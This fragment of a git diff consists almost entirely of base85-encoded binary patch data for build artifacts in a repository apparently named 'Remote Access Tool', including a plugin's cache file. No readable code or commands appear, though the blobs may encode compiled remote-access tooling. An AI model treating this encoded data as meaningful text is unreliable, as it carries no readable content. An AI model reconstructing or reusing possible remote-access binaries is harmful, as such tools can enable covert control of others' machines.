zu+&00eqRlHxggVRd5f#)RV+?k*huL0+a)u}$eSdFNVDx`F0$cIch47LsO8I;)1$UM zyhxwmy8jGRcSK`F^wyBiHs5)0%+RV(0YSx5-m_cO^}p0ly?U}`48?vr7Y!6u+23nO zB$3`{*^=#7{n_}dtD|F5s6eEP4o!ArAXwY?B8+Y3qjDT@MPEzDdjt63N; zvpsN;eIfB_Za+K=eC6-_=tQ~J)Z-~k?*jH9q>cWUa%Ipfww9u@KArPWVeDo1ZQ#!? ztZoODj&$Bzzc_18{kEA}O7M>i-YNE$6(9eoK+hz%8e>_%$eiNp|Ncm2^2frX#2L@Y zrOP_kG~P>JbL4n`cc!_jtut7Qz`7i$ZmOz zNHX+i-o% zhE^X&p-pdjfYVZTh1amnug}QkR4t*>~sE1&I&8MpB)!#)O(CsnGQ(sNiE?iuo1cCNtQ z2O#1r$My_aEgzrKvszlOAR%q&zA2y6(uB$zHCN>_hn4SbtmOYo<*F>WRH~%E8%o`g z`op~HZ*w)m;%%vW=df=NXRgx12t&yX{Q|919zG+atWjgjVc(FGbw2!JUgD zK0^Go4`U?6d~VJw7hF^pg6YlNNEkWW`kOVkWB6t@VK0_CUEQg4a75K%hRKKq36PLo6`xSApQHj&yT5K?mW{rPq6Q6BN64E* z@2l$aYbDgiY82hdrtb4_{ADZQ5+Tu;=5OMN+Pf1``__~ z7$Y~f!{obTfAyK(QPcYJypP*}Pcl@Eog&w*&ySu@GCNE~saVfV$WT=v=jZ3M#qado zjUh_v6@{_Os-jAJHl<0Q#(nxk972};(%2d!3RRqQ9OGvl!U`@G6HPuFHIb?gSFNfs z*)R&2xbVkkxbVjfdLt+QQT6TiG2Dm*4gzqf?v{=x;0+7LPOP!Cco1;J=o@`9Lb*f$ zN0brDlByEANLdMWiMC|-_58gXKh=}X{{>n;z16hEc%6^+zjiZM!+ zp>5aNoAF5+jN0W%HCi$hcIiUeEJPdi)%A$020aWeT`tGabG;F z)H@S?i*bU6JkiV!Jv2 ziZs_9UnsiO43L64BHOJxLk-7PK#B;+j1A*1Oisn)S>xGmD?F1)f_;2Ru^1gA6=(frl`yw@rQP zC`fJVXpL#x)4eeJm^nsMgMvt4j*{}kX2}vv+BH#U8>NE__u3#) zE-@i#t6^8RG$CGvhSCe0qdC(z2QUjC%Qs)TW9XHoqUj8Yr85F0j-AHJhLZ{4G5w*2y@=Hsc3_U7GzO!DMg!ErZe^L?PLEP_o zaP@m0R7n39;=eF;t0?3*tOr4U8^ReGIKb|I$dqsx@$cCEIQ04#4g<;fCrK*^g2I2t zuh{=_CW?Os>6Vr%zfnUiegwxs^dnJ#sQW1XlgE?@^)N+aHkJq>DP-(Sn9Xz+g-5hP&9 znWMc7KVW#_j&rL(0+jiF?^nYczPxA(eQZFb3_m#MvjQgn+{W-WA^)=Go~ih|k~8D` zFTVbF!F?RHF7vyxO8grR0cF*J@gI=*v+%3S-u%7nkk#V?8vMU+73$#s()gtmSHON( zq#b_WMg(d9of(Tre=F>izfVp<;(zP>|L$k|TejHV*04V#@Zn~5y(6?u*W^d=LC_aH zx=7LI66!c;cM?V2l2bFR4H90sEGa#c^?iA7e55s+i{1YoABmOdt=)!i7q^{nF)OAlu z?d>;Bi8;|*L>X87# z{}^CTFg6VqV|Pf-{$jMQ{g>g6@Lkt|34uQr@?MO2@()Z%H1%--JH-CoF^V>eKYe_Z zdTA||Wnr6VU{03B%o6Vb9N>>{vsNR2@mH|_AWOqGGs})F^Pz2wa>{DnpOeZue_Kbg z`KRxHcoBE&-=ElcQ2&C>qu2jFKWy2d*5)rx>^=k~`{u6`p72~%qnSa68o%8Qg z{fiFVTYo#u_^-j@+j-_Xb-N)^%8Bv#FFT9%{erY|n;-sPv6>-WW&Jhy-M7d5BOZFs zeg${t^6xuw{IS!YTtGPeF}$TyRR`{`7O(yS?v|sTxNUZSa03{?kzIc!RA>5sPTDz% z(Sdu**FR#u_xH`^{$|tFkg;u3K&EW`ZeV(nG9`i`D4xc$VDYY665&Fe-O#D*l~f&g za!&R@Fkh^1$dkfr`jaQ)eF$#-YX$5vbwwz{{Xzy>W%9xo%BpP2f2v)JY>lYdjJA0w-=XoC?DH~&B%`&fL;|8h3 zR6J)fE$_P!?7>VdCH)3LRAkf+WsCAUmI5|I6`mD~vPa}bJ4Ke%Yh3FOLs&J6-V9N~ zh1^*r@4YWP!eYHrYA?U%57T?A&J$zmFXvmXdp=D_5wD>P_r3_TEqpN2gD>%j?Yu?@ zC;ue)>00An-_W=l63-4|5PW~T_6f-ZwwN?3w|*7;ooh*5z6a;`m7!RX`?}{W1^e_y zMQ}RX?UR-9?w!0d?aD->kkqv`pGnI)IOb8#kSS|T?xblP*_3UablVlZq3abk&CuG_ zd~ct&tA3U5!t15i)A)MtZJR&NpE3BJHS9*0oxJYNJfP1{y9sfPoe2v*+IPme^e%jp~8xb9$ys;rQs>aUAyBb--l zfrBn1k`i%r$#FNdfw0V_iOwG*KdHK6whxBSnzB%_Kj_(BC#F}NOFQSNOG_IG<#^Od zA;^EgoQ!Ne;ATA92)sP6i>I$c!n{~Nj*C=Z-T#iYQYWUs*Rp@nB>FB&2uJ2lljELjJ-@h!ho!X??L&!P$0<)pmM7FG1IZ`}O?n?v%?-VFBET#--=I z&qsV;Jc)iizw96SWuLXj=O`t`IqME3Z4BZh`K3Qe*PmE)5JcW?Lajl%O^FP*N5nqWmCNnLMSzL%3-b`9H+n(%DisSwa#i-_3% zRMyE6w7VSeom(`w!~Tht@3woDEuWmNE$NMPAKy)fPO52pI8^g+x{*PX} z)z*pK>#N~v{t`q{2n$$DDd^p8nQ|t8JPa|s~kP1N?^Jy4>GgVctJ)Ok<*|Cj9bgHrkw~up=H_a z+l>`!hkld){GCJeH515gAX`^lnQ4HOoeL# zYF3cqkVv0!It=EkSBGK2D5-EJ;CRYfGl{_Z{LtiJEMPrOD%=BjOAaYE1Ax52Qt`)< zQsL+q2Wv(oU&qsh1%p!I(i;^JJFs$Zcv*NJD)SYF1SuSaZD--zV<_O#$37h}Pgt^P zWLdIlSYmiEwu(Qg6c&P(ZAS>OdjTn4_*4NAkx_Pgs{;-JctMzlg&=0zkp|wjfzK4r z^CHP0_t^8a2?*csGblHW5+uR4gEkH7rb_ip&cqJlXWJp+qxZ*Ut1zMgb(5tw zYj7bg#J#9@Mq+j$iGzrQB@4$5LCeCETcb;$MquT#m@Q~oMDlxrT&P`m^f1bGGO@fM znPP$O%7$VD6y z9EWYkk`F5glWk|slGV3j5q;c-fw5kcUJPGFjDh=kFh1K37GZcW58I9kVOTJI^c}83 z*(>!hHu&WW%pidAsFp+sL#-K%hd5mt`;l96fO2N!^&Pey|D@;FY-~HA1`Gs1Ku zf{Dw>o4Yf^a{=XcEX3)pphCD3H0T+lUNPSa?BIvS7~_(_#@~72-GFGPLr4)2>aQXN zNdxY>lI)t1bP^)yht#3?;mNU|Q=s@^(cPbIVNqb^#ONuR5NvrGvNo9zj9U@@k+`k@ zBuHxpfA9dB7#=7zMFUT}jBXqiP`Q$~w& z9fn<_-wN~_-BpZno!jN~2nS%f1kx1_FhTb`m<(8rk9k(tEP-})^f?DQ6%jr5nGi+} z>~QP?%eWOLFg+RNUeb?I!KA5h@ng2{*}gdGA0q%y++iZO3((;7x8fc=A4sN{e3=_o zwjGya9s6Wy-H*JZ`EsfR2IW7Qn^EP_(lvp05#4v<0DAzy5(x6A1MtX4U)l1grvWkI zjc>m|V3X{=iNpJW0+$8+?77o@N1i5~2h0OvzMldl7Y1_;@UJjFKyoG5f$Pwiy~Y-F z_tV@e7qJ=7-%0-=+8*zt69#OpaGZxHYoy9ziD9OCHVQ&Ck(q0f)S+vT;+95qe_A$& z6z7O_92GI$_b=8_RF*lm<=jx2yH)8xc`W38&%~k^Imu=7F#)p=p&CF`xg!selQ73i zpxq4o79BL5`0^}V;suvrWz!BKgtOL6sDxon0aXNC)) zk6loQOc-Tz2Vn?6uK=k7>b;Uefiw;yiYhUp2+(}}{F(v?m=%;BgL&2N^+iS~ z5oFaLGs1~(1yTEiFM9eGLt(=)hbJpwsSDIiBrhmz8YKm^mzT#ZzORoJ^%DS!#J558 z0NM<%aG(GplJ^xVbz~R~g*=|KAh-@a36=UjbPudd{Zbef&tTceNA52Wo#{LgwT{Bb zLLCKmLnTa!M~9Y$C2NR~$>t-gJfn((m@qsux8iH225fM>I1e2Si{IMtE+S43CU9TW z#|#pV7Imh16%`;92mdAq=?TNSYgCTqQz^G2-#%$id1Vd26GtS=e?gHbF2&8Rd`s zuFtQ9*>=Q-)i-?NHQ$~{5)dx71L*@PR*avLxdE<5e4Avj5D>GZ>nhfjoYoBSunSZg z1@LC2AOwf;oXSV$21kBh=IB?(^Pc+iB@o2=O zo(q-vzK;ZcH%jW<4v<)ES~DsmaZnQg@DWw$$n7qAkVFi^0NOg)Iv|p?b>Mt7zynjg zh6Ui(*A3hcHWPtf1g!g`Gts(L-L@;S=cof zkU~xMEVbf>8vtyul4=HS1l}~DgIn|1khX|q1TA(!H}G>3Z5#wcMmZv3XycU?JC_t- zp@GI94Y2Ad3$&fSgfu7^V4Axi9Pd_e!8-tRK!TkDyd1%Vk^@(-1mc3*E7GPl>`wHZ zeSK6~biy!NC-7_oT{W{mv8^&H?}^Rle^`~HH?CQquz^+W&E*u)Q%pt`yul*4}{A zVcak3*5KX%xsoB!Zv4Zh25ZLTJWRLp1AC@}OpS*a{7Lb1Ib&a2Uw2v%#}_8*h!iBM zlTa+nA1blD$wI7A3+H34R2WO8wXzB<;TkQtEz2HOD0y-;+MEu%cp|i(Nsx<76(6`h z!|y~vuFH`KgH+i;sbLrJx56}iwxe6rUbuLNSRGe%dRj|SK~jlE?7brg$A_Vrf=va4 zZag;CH5?a5%{W}p%?iK|KYysshL{oDPY z4hlZ?^nmN8t8*Un z*ybDF{?QsG6-;~N-hzFd55;&T@rtPyiL9`N=sz5h&R3^z{A+Z3SQR7IVwNCozMQ0q;$fdbf)@{#VXzE_|=jjmADq{N$Gik?;rTBXi7+o0_QBixSOuGvE8SVvmiA)93}$!c|Ksq zJbHA39vS7``P9!}()Fg6Q0hK>ZTk%W_`wsAQkTXaqWkxSArAI*r5J^%_ zvIvgTX>S3jG}U7tUNP7KE&O@&leXFS!HITIj;i-9tj2V3IC{%TK--1UvpJCsos~W{ z7AFm#fT*#~dG}2)2oyfR^h61p&4Ko*XEEYw<>LnwDuHayXJPxh!EQVVFLaQHc2Pacl?;3}v==di=Z1WOc;9L{ z@``m)8b{TyCvig=V(XNKnW10=ulSZb)@B&00FRHQ*nM&=E^}2Y6Jj6b^pwQkzI|b( zP4xlQ^Hby=m&OJM54JvhkZNby1nkh%4B{wSeHYJvO4QV2_80}+ zC3HRGOVT7W9?i^=ZiQElec@*pu+Y<0sdRN_akBl%qA^rk*Mg?jNB@S6kB)CsE=k^c zX4%~bhqdyezBrFASb#9Am4ky>H$zz9!JE=*EApJfFP>OiFLiMqI*oUK1xG@CTOOX# zsIw4Jcvc;$D9^{|xX;!$v`nqGNs?2S%_gEy8;ws<^d)J;0o<6qR1 zyLS-iHkUI_-Uv?XNj@VzPphtDHycG%W;^Md)$r&uwbktDn%S7tBVteN7xWAU*7{D_ z1?Wa>@)Pb+`6ab0eFV$ddUGs|26+tU(uh$1m>CsIPB@4knj8b^!q{J_v-*gX$L_}u zeokuejo{ehKYYnNoN|e9$BU;@AG{tniD+;x5*|RNuLXBYQqsE_7vRme54&kt(oioL z)C$(BWnSWGPeaAB`DWvt3LOLrYi)Qxl#^}JYii(WstsDjDCi|bxIATBk?ceQ|kl)gGwS23FLC}iVVKvaXqi>0n z(&TPpeRFq@AGgMz4nD+`g6lsn$ZJ^}FW;yWziqflrIs~JS`qmnsNq=QD|>I2^6=h4 z0KUak2{i@N@tCz(dTzEW@7Lp1Yc6*f^ySkJeHBXnfoAty{E3Oj;DS@zAf_qIK5^lg z(q~8d^Z{k>cC5LrDg*jST~?7iq_Y!B@TR>=MLO!jx)qseD-;d_K99j%eYk{dN~w*z zl_c_Fi>Y*XjJQ0abE+0rsRv|4{QEYf_=s`$h9}3Gm&zGasQ2Paj+^_oTpzoc%tz{G zrr}O#r)344+fB+VY&|{0o$x8walkxGg!7s`2jR}GrMNQ>fASo-JNo7G(lDv0oX0&% zRl&;lYRt0+KDF9uu__&)b5pb`l~u<%*{MPQH{uz?Ht%+Gsq-y(KeTJ8XDghu3kW}$ z?>n4)-C4o<0mA5Aj@A1hcOpA)P!wM`=*pa*Du%w(-*CGvPhMEkBbtRB$E&C!SN-$E z=B~P3grcsXuGfl)Yf7v&|K+P%8!Ej`@DIF}&4!6XxyR~5b8}e^#!LCm?W%H|+s-gT{$+dvXX8%d_gnD`1uQOkpD53#=~&cOrFL~U zsBvUjxYUhWR`wmeeZW&|I{9RKe1314>T>S+`uWLn0Y2W0*0VaYN*+=(Upun(mm;4u zWnohMk{$XIPFcGN6Fc5lVJ!wNA7Vtt8|#x@*C#(5r`ky$vgV$ty`jI}KH)t)9p2d+7g&Nf1+htr`e2SQ1+~X#%ocXcq!L?vSDY>weePCnd z)wU(;bzRH)qy;=VgLYDJLQ`pddM;7f_^p}~_}qX>rI2~l1l(GC!K^01URfPRE9~yt zy7%y!t)TdrwYv8gEjL1BdF#5$y?LMJL6RftR58T@osxElRjsOb4!Vw&SGCWC;=1|p&;+uR$B^#^c*;@Hh*MOQxttTrnal@E#w%x-ZFE?h+ng^sW zQI9@}Y$jb*^Ph<)7N=}>*tbrDbp#yJgaj+IH69WPq+v<35V3HsG&MA2#%`t=l9HbV zNMp&LXMd5)=|&WSQkImA?>E778c$R-dReMS8lJ?dZwmk8Bcid#O+ zUyiLbu%<7pEO+Eom94Gec;@1#UGBvBP-5QF*VkmC&B@?2V%#;i;eOf+#-UQyv6Q|h zRE=dfk$~BxAU5x+GNrU7s!y&?3FX=5MEC@*$<*WaLy2^IU-mBNSd+5m)~%{)$+@*c z?g>1E-OaRaS(`W!7JWh5FRxY+q`Yp~-IzG!-Gb8+A+o2I){6S9qtLki@W4|zgCnEn zVGXU&_<5>}+7g-RRHJg$W0vGtZF3(kFG6mnPa100kMS1CRpmc-wKiffm@9Zh;|Z+! zGO`vnJig~D{hkAKiOV%K*}dT^Z!gf}E_dN8Vd}>`$t+H4QwDd;?rtn@Jgm{bcv7ve zyr(y^cwUk++a7FdogMk=QJGzJxa0PVDZ$r|j#bsoq%dB;gEz;F(|9eZx;@IMc=TDu zh}*_d#ni{2B~3j&>dq{8)D>Ssbc&!2V`K?N!FRGxXK#8Wn?2(*5`+RL13Yxk znJ3q5AGI~5^ZM5sO&K`tRyyNiGL0~urFrPCClFT#U_&rE!X!QJ1Z-?%pdqBHn{25J zf5bdF#RE&vII07G-rz!1by^S*An~A7792m_lX8$*z!~LeCJ8e-V=yWWn>?I*UEf1| z_X_u|phAeR+E#a3ohrdY0qyRmrH`NGcSp16`SX`82b?QTKK=pIJrdhj4C#0YDfya` z>@Qi)Z#xydYLoWqQ`_ASJ|tX<#BYcl#|3C29(F4w{+LP1W96#JO#K?}SZS93R56`q zmYPemjEVj8NU)No1=a3awOyy7-C!XH*E>;mqI-i|$@$o? zv3Ts7h}Gbzy)#F*S%$RGN4G+}a*Vp|9p`+8q=c;ZQfK;@r><~D#k)=ZtuiGp{;a;Y zLS&O#e)rYS8#|8mp00fuFIOS6r{>3?#_N>q!o-o|w=o&%bQGWDT-dAY-6uExAY#5% zsBzAVI>*m#HR%?-X*20kbEfAv&(l?Xbn2+q|Ga`*-b<#L>WRwk-Pnd_@rh+E{nCVM z^AU8{fNd33AmrI%K(li2tZmgAgkBXM` zyCkeXq|_Qs3cZw<^>K$9i3auKH&%Gtx)3+Do{7j(*w+NB%AL#tGi8IFcq-n@hgmia3i(}3AL=vQC@TX891>%vCcH6{ z9sBk>2HZg7X1T+h=kMacZ(83G)qlh>JYwH}R9Y(deAH=pGwFHEcN5dkU--9#5^N;D zm)u=gplqP)JJp$@rv-c3QZDJ~&S)}8mKr`OjKnGydp7ri2#fjbgTHIJdo7i~iCS5s zK-yrZ?;`{yx4z{*D74ey41P7&_I@U{}idCfOkRl@Vp890eT=O1MwCZsfZ+ zIOBZ=wz_^0|E$$MIj8%EI-8Y-#mjaCBeE@}gwpK?5zGCZ`?_Bl;=BiHhfSRF@A4yX zTrb*ny$#q)b>+D;Db#@v4eXfmKPBA|iR4()WO>J$09hJ+d2Da5S4U0#_zB5O~Fat)oHI7#}V~T7jYw0 zAIL_pekG0EBCKaC!uln+MYJtm2)WcdSo2|Z9Z{u#$9Qr@6HL4U;iBEqW=}-tD+Ih0QNo$uBDpXeEb3Hc1JG~yE>5SgW37)o;C+OJg1FdRH>6JWc9A;Sh zTly$5g1w99ckLRsm9-o=YZ^`|xsSGIg0Du~dSs_H1KvOu0$U$EX`OuP7wO5kty0D$ zFnAM{k=|dtURinvw5soNHeR5-Vy#Sf(8=={{%Rq|3&rqaJ~l1(!-~7|?s_zAYsOkE zIeUiIutUepT8u3JZue*9QrmU+AIm1DBi5Z~ZzJuF=Wx=I+Lw}gPX;Dw7II+}2~ic4 z%KF(ljJ3@I2f*j3qb(Si;T=~jEvqAA;dUQBdIe2UTJ>BU zNu6YpeH?Im6;>qL`P|+Gg^cS_qY1dRm4bHLQ}{lG%K^W+q1r+N z@lI0OS%|Zni%|4jS?-Dyp2)H;k4H9xn4VzUXoB%b9vKmBfY^zqM?;fxuK5U^)c&c9 z2@&gsAcR6nkAY6fav={Wo{L%>KgV`DC(?QlvO>b_hh^MZnf3=OjvDnxh^kVm> zkFjMttYp%<+(W9v#>UCX$jNS&u;$T~P|^D*P9#pji_kgCmVN^)p?#uZTVo#QudfQY zqdVyo;_OXkW(v;j<;-eUsUI5|Q4e;Lo7G$Gl+Mi8_~esz2KJ|Tte0GSC%<}2fH!?F z8{M1C#WEq2^J~nHLK7MmJaTOLD1EjBg1EsX%LaYM^jI6q4*k1gL)wTR*LPP7HEEa zcoIiEq-GuJey#9PkyWT*)&*Cw?CVYVf6N8S(c^t3{>XA6S8 zCJKVD#`*Lt^4J0UU45P+pfNMtxT^bO;zP-Bu%VJ{l3#M>*_SSXkYqF=&U68wWrL1@v1)?UH4UXWIjUt zTv;)Cqcko&xAZQo?;Ag!y~w_?w(DZYTi_`~$2DU9_yIe?{9_^%ytUO)K0Ux@6Sq!C z3%gq0W{;4ZI9+ngFs!LO7hYKnrnod0(Q-#>voZZx>*wXsC;ag|bEW*QQ!>RvQc?L7 zEZ=rVn&J9+tI+tz?rsTQkudq(_)d$J&TPMNz7ln>>EVFd*?`&{yF}A#k4ioR{{+e4 zA5%M#Ie2XnZVged-Yf~4fE*So*OeU{I9RisUqhq3Y^2LWv~qral120M@%t~KMS(0BG!ov9=6wAGcFRh% zRiqXb52rLIbfPxC52O(JEIO*WTM4yr^3^#AX}Ub6fjP@QRGFG zKhb`=^jvTLPM z!~>P`USjsd)fmCa47F6VIgGMbdA0<+x?01UZy>Gj>NL%HQ;(Iv*b+%&?Mp(bYJ;z| zy?&U03txmUo9w7@iL9N)i+2iFuY{_7k_T6{){2O@E_K~)v^BZc89d42;XIpNW0k}D zq0d#JRYUD%O-?35Hfy0_qv@)-nM_^nmbh6{bQ!HDArA}mv9OZJrKz~(o$bkQ& zplj47h%KOB%Kq#$bhG5<-kw{3Wm!pgOEBUAUu<~j{V?phf<~n`e=evJkEWy` z7Q6HaS~#XAAX4EHkGCrj+pZ%4^E|-=Wn9}MnAy%yoy?VL&YLz&1K#1#^kd(4zj(;W z8Jb-OVmq_4lY~Ab@||DznTOcqr(Vpe#D#Icpwug+`R@kDrTo?xF7SZmKKO5nm2iQk)mIs6ls5+)bR0pOC11g8$`95QetMSU`s#y5K;b z#tg|h!!v`Csbl{gyg=cNcIvs_gj;y0fj$L_86C~>6+@Iqp!9JZuzqzyd!Ej-uzbNn&zLV6XcXmI(s>ct7gL!HFUh{ z#f>L~{uejKXLMW1Smv~)rj&%5PMcX}Qd6v4TG7)=WGJSj%%m2quJ$#%K8B-2{ep*{ zi?qIx_xn0+QdS5dqO~Br4)5i5fKmu-6>p19+_b3X1SL964_$j3Q)PdPb)n+rR`?xq z2Yjz*nL%Dlv=Y?}^cv4$P6`F_RThzzpnHnwU{*VrMg3ZxJFc~haTmF`HfY&ag51~; zBOh>}R1fUVprsjR!ikl|%zZVM>2)m)^F+H-_iz)Ljw3P0&m$7fX^`b*T}UX*?;$vm zOgQtM_G~^)t%569xsp6+3QTuRUYF(4tU)4MRuv4u&)fL@j?I|k)DIoUq#7ozOZxSE zh<+ueTYC=udJ6qYZj1H1IwVrq^;P%27a@6Vc=Oq-0f$+vHq5<;S*(!DrE=!eu48iM zvvs}L0>anI=TW3h`52LJ=@26JwP2O_wyfZc7A!CC=6t~Uc-OCY;{6#qJCAj?hIy}t z{)Xy9tZF$QF3bP}kiNAoKBmANwz59oB%XV}xc2gw(DW!GsFnuS_d3>hg~#{X=efXB zE;z~s*hQ8KzRU$wY9V=ir*HBoLOECWDBf~z%%fD4b9Z|bxtx2EN0G|8em;r5(^Z%= z-fZ<2=lb+%XYTT8D9J&?(i}9LQw~FH^k zX&k9`w$Y~17~Ng%JP(?#810Rq{syBFUsIQ1PP(}VDU4qr)>W}R^&dhT+pAgc8*o+O zx{#c$_F`N}5FzJO+Zudb7v=)JVZNCYfwNy^ z(tEhh3W-UNNF6K^nd!d(PA!egr-1(wPC;i4*MC7^I4-@xhv7WmSSD^ps)nToF-%Tg zR*@+)N`?;Gmmd%q6`*QP#YILnke{ky_cruJ$QaLV7_kT)LqoWsbj9}4o>~prFMvnddJlq=dzZKj;xc*IyrS$;2EjGy>kxJ zmy~DaUl&nt$-i@7K^XO_{Ac&A%Ax*FKKdf}a(mz;RzVHj>rfQt)GID^NMO`TzH#17 z@5=9js%u)b^HXEfqMe_vaj6|5qmDE!+WF~`=0&?Y9*c)l>kHI#!ZTQMYYWtqLWNLY zppFZ*!uk@s4JCFPOYE9U>@MbOyHCoaNJj-GeS$rz=`qeX1;($J7~f(Kd%8sUPyC~t z{{-hd9?ChNkr`*MNdFct{j{_kN8-K6+)AJa<^SG86`jQH=g^*|r?wUg2++QxAw z$1ulUj(a)od? zx6-RLAh!YE7CPwnG$HQ>|MPMb=!Nu6dQG^J-ldDgy=-mKby%kXx{2LSbPG_S+knmV zIbaLj0o+1&0z<)se#3UC+Q2kfM;0weTwU=KYA?5A%5hv^|;oE`yQMc)Bl zLyuCBR!~3);y&L9Tt}V2Ch7%#jIIW@ar^|wZc>4LbPyQhoU1t|=nKGE`aaO6XM`|K zNF?~_S+>mytLZIXuc23YeLk3nS=@#w-{f^)SERqcXK1J|79Sbyj?+M_goIk};P7aiaDKB?N|~6Ph?+&q zPMDUVPf~I&K4WQWvNuVy+We%cCLNmkIA!I@0cPs9Q$=k(Ni&#fN@>{{R6V9So42IV z^h`0?Z_f2=2Q;I=uyN?_#u1yM>11#EfH|vCmo}}Z-S$W>oz+uXd_JS~sOhAk(G^;j zQF|;i<#MLA?8Jbor=4Weuw^DR+jc2tO=GH&<34z7J?M8%wV;``;wE0Ra*1rta%6mn zZqQCUAF)FX2 zt)(W7`M924mTjp?Eu~tsi=wz{VW4{~HKom&#e%%e9^KH!G|Se_bh)tGOi$_4IZMqh zD~@P(!qPLPLd2cX4Q?@_8R|javdfJz;Ym#4a-C-8Eq!`sSy3vZrso$0ZlXCqt552N zo-LBb=IyMO3OefzZ^e0rYZY|IT_lNE>Kr4(_Ix_gts2IpnwX_TzA@{rKbCW6E%R0; zYw$GpL>2C73jflJ&$H#;}SM(VSB`!B9ApF|cab{1qbC zrVK5?IT!@(*DRBa49#UIn8=zIkXOCwELLe@P`WyuHf^jxd+7{75iT+@%{riC`7aea zxzwzJ+*zoYA>1b*rwnzvU^K3$ljfWq++$iPo855TIm^-ziF0T18?H;WwQw?NF}gRE z!F1VdyRd0!@;Z!*Ot;ERL=UpT>sjjMxfs!G+(TqJ)v&3jvzT^rQX9*vR@Rw)_a<~> zVe=e4NHHy2%3zrt#Kz{5I0GfvX2bH!`@TM>vX#Wzy=g5^vGU%NgHJ8|b9eOQXD_?; z$zy*RB?$-nN_OU#(eV2jS;IiYqX#@uXbdn(ttNT{GKpd!fagzbN>ZrydYA<~6#_Uy zpwdf1ZO%WB7wX19ZLadM8?G6vZ-0HE^4R4QH~D|%yR0sUN2o>?9=zM}a8Ba*XOMUX zPf9^VcOrTeL`e{3LG%h@1y0S3$BIW3B~g?`(JP8RQLGU?-r6XxRk-RzZ;j~nqNU(! z_IUjRqPG&&UIZluDo6?hD)EQ9vQ`OHIgRE(6&|2W;8l3#Q{>uxsB1sfh|vbn7Tjag zdUjHZi)+U%H8W_YqX!cj-!PCla?LL1GrPMxRsG` z9A{5~YQngCb1CJA4=LM2+qdIfDp2!|_QVb?)V5>m)Ko`kYx`9DrCU2bKDA?ONZq+} z=Z5{2<6$ zW}_4&3UsNotXe`p(!SV!F8`f(nR24Nn40J|t%zZ;N0syJ)toJZl`|K@$I@;-DrYUu zH`IXh6}^Pd)?8>AJ}d0o@l~BfyNbS_@A9x@jp40#0vM$cw0dcX20`}%_c&kO@#g=x z_n9Bj{VznmzTEZ0UP_mI7N-dBc?|Ed7X0YA-8J}3(-fIp-psAykgDL?kgJr1o(ak+ z$E5q&M;*k3trLci zbn)*X`TiofY@7&K9GQ|hd(bj*O6cJuP0}2%9X}!dWhL)pjBkK;k!>5cLbe^Y;|lRU z{m}2_u`=B>d>KWNeNbQd4V9HnoVEmr3angWH6mVe>IgqK|p_Je%GBw1k{*sIRo2 LRr90re^~wvxc_lL literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.AssemblyReference.cache index a0344bf6f75e13d7acefee78fc337cbbb2d55fc6..69ab6a5bb2bdf3c3a8c30c0fa3ed7416cac3546a 100644 GIT binary patch delta 1004 zcmew(e#DfMjggmufq^m5b#gA7;zTV|#m3H)?=IfrU}R+E@yO55_DC#BDNig)Wn=~_ zV*+B9i4AI;u2%XgAfP`{P-5coAV!nTQjGH%8Nr53zRjd6hcJaRATc>RwZtbg3E2qQ z$=1xAD8@`qWwvKDnJmSqyZI7xCsQON&@Ki>Rv^KXmtT~dnUa^NmzPt(4dUdbB_pv@ zKy0w0ytHhv1dIcgVdN?^(KFC9HZV4{WMB*ixp5YX&6_pYRhXC{)j9ehMOn$}aBL=dEA8Jo!B7wD4YVz`x%Xne_4$mSdIe_8OY$qC%8k`N{bC|#nYsldrOY)VAtotfY? zUN(6OV-P5QL6HZH_By%Q-&I*JfwLX%43i1TACoUJdxG_)v-pF};9?C1o7co-wmF;4 Rnh9v2Iv*(e{D%TY1^{Xn9F710 delta 229 zcmX?N`bV6TjggCifq^m5ZSpQA#fe&`iYzAE*B-sa!N|zS-ifemk8Fgr3f1ys|2{O_-#pdupDj8M9f8jV4Bj}~bdqdUeF6hs`2ba&_I5P{J>YNU*YfpiJ{ z=l6Hd|K4-Y-8p-FUVFTr@Ar1Lv-kV6_=vjqasFP^SH|c!40(6{*Jb(6y_bY{U){Nr zj}!R+BcFCf7lWSu?7VYF<)2u-bH@cQ`Xw3R-8)ZkH*;~GHg+tVJJ#?n+hej^oO*$~ z=Er`!%XPOfw(c(5-O|{_yNs-VaKV2UMcnn?odjW8V`nDjqj>NuM6ljt!3QLFyWj2>K4AxW{2>_pdeiZmUHkPuc5#iD5<+eJ zxAV8@>CxiZ##P%H^vY|==EE(?;j`$^JA>5Oq^oi2;{IaaOKdt}q{1F8+ud-s&o`7J zNLvr%K7;kzy!^P&$?7SF*4jFyCPrfu%2w?8xr4bBrRAr>&C($`ve!YO>EX3)(PvlU zj@qDyFS8LZTAuE&d41G=2qAY4SD&vfT))pEu10L?574oOg?nbLtbxwy+z0|HY?I!; zSE+qI`Q(^p#9aL`?7@K^MRa_o|F_K#Ac;h|Yoj!YazwZ*Wn%--ZWa_YKl6-=yNn%ayQhl6gb$5W7I&N+xkSgrQ3RqXY0(p zU(@{?TDfW$RME~`&lpb;AL7sJN|(P=aP#f22mHM7nXd3&xuzDEi1e%r@vR8G3E7q@ z1&cB84&K3oMYSP#r1O8$)>TU{F{k^tH=G_Oj2^Qy7XHAWIuoDr{?c=}a#YAfogI{NJT({gi zvr%E%xw`jLgu0QMlr8X$O_$rJSZa;NpMBq%c@wA`QwIcehUIJuQ^N<(`x|>z)x^AK z2UjtzjRb0H;>z3&3h(m%Lv+5irs1;a))o56Yww`I>BZ5L@bhsV1w(L{v zX^Xt-#$fqlR12n9N#f*kDl9zn20w?yOeeuyy{VCaH&F{@E#+FDr2it^ah&DPo;Omyq9X@tnvg50CRFf7UON1yi9yl|-} zP}+TrX!ikYM5KF~M7PLC{GN8VVZQFyJ}n+OEwGQL-(4PK^;UvbbHo~D%CnpY_CM8_ zS&jQQ3_lK2id3ZIex9_|en*`LK2Y%S_PP37TcT;$+Yh3=tsSAiC6^3Xo#cx{^6>dp z)!&1nIRuqMp3WsOJfkAd1gm$;$qPqi6q}y`kNx>!4x%U01;8K+?-OW)ynT(zN%&K} z$onu8)&SxLB|qB4WvohWY%Qh4-UOM13D4h$J`(%^-!U1YZCwX1dP2o+LNLUlmtuPx zK9oHtw4M=Wn1(MHrwHgzaWn^l5pyzrB!|sl49-4dS?>JB_i@fTgiAKW;R|S)|HAqM zrh44`%g~OLPayC^o6{=F6xCT|S-$&J{Teot=k@iwU(Y1%M)ePPL}~1RxR|H@GIdc$ ztNYW5ggDzZGfFMzzIJ!Bw^S#^e{Ijo`m=7-r7s!J-29iBL2ro`b~MS>QCz&9iXTwQ 